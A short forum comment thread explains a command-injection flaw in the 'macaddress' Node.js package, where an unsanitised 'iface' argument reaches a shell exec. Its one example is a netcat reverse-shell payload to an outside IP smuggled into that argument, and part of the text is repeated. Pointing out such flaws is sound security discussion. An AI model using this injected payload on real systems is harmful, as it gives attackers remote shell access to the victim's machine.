Comment Comment by parenthephobia Anything which passes "iface" through without sanitising it.The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.e.g. macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {}) parent parenthephobia 8 years ago
The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.
e.g.